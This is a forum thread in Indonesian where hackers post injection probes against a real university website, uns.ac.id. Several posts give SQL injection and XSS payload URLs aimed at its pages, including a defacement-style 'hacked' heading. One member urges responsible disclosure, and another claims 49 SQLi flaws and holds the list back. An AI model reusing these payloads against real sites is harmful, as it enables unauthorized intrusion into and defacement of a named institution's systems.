[cassaprodigy]

disclaimer :
ini di pentest hanya untuk memperbaiki IT security di indonesia .. kita mencari bug nnti akan kita laporkan ke admin .. dengan tidak bermaksud merusak sama sekali.

hasil crawl

login admin default .. ntah palsu apa gk

Code:

http://www.uns.ac.id/login.php

hmmm celah dapat di temukan di subdomain

Code:

http://lppm.uns.ac.id/sirine/penelitian.php?act=jenisp&kds=S07%27

error koneksi database...

Code:

http://www.uns.ac.id/direktori_sdm/

ada yang bisa menambahkan ?

---

saya tambahkan xss ..

Code:

http://www.uns.ac.id//news_event.php/%22%3Ch1%3E%28Ikonspirasi%20hacked%29%3C/h1%3E%3E

---

SQLI Injection

Code:

http://www.uns.ac.id//news_event.php?act=ars&arsBln=%24{injecthere}&idMn=1

[THJC]

Hmmm sekedar saran saja sih om
Lebih baik, show bugnya setelah ada kesepakatan dari pihak admin yang telah dihubungi terlebih dahulu.
kita mengedepankan etika terlebih dahulu

Lajur cerita :
1. Kita menemukan BUG.
2. email admin.
3. Jika sudah ditanggapi, dan sudah ada kabar fix. baru share bugnya
4. Tunggu 1 minggu bila belum ditanggapi, jika blm ditanggapi. share bugnya.

Hanya sekedar saran

[shendo]

POC nya gk sekalian zee???

[cassaprodigy]

weekkk aye bukan zee om shendo tpi m1rwan gnteng

[Andre_Corleone]

lupa cara nginject =)) suram

[shadowsmaker$]

lupa cara nginject =)) suram

wkwkwkw ...
bisa aja dahhh lu oms

[Junior Riau]

new report vulnerability of uns.ac.id

ada sekitar 49 vulner sqli ane temukan
jadi kita kut saran om thjc dulu atau bagaimana ni?

mhaap telat report ^_^

[ekawithoutyou]

ikut saran om thjc dulu aje :p
kaborrrrrrrr

[Junior Riau]

okdeh kalau ikut saran om thjc diumpet dulu aja listnya

[ekawithoutyou]

sep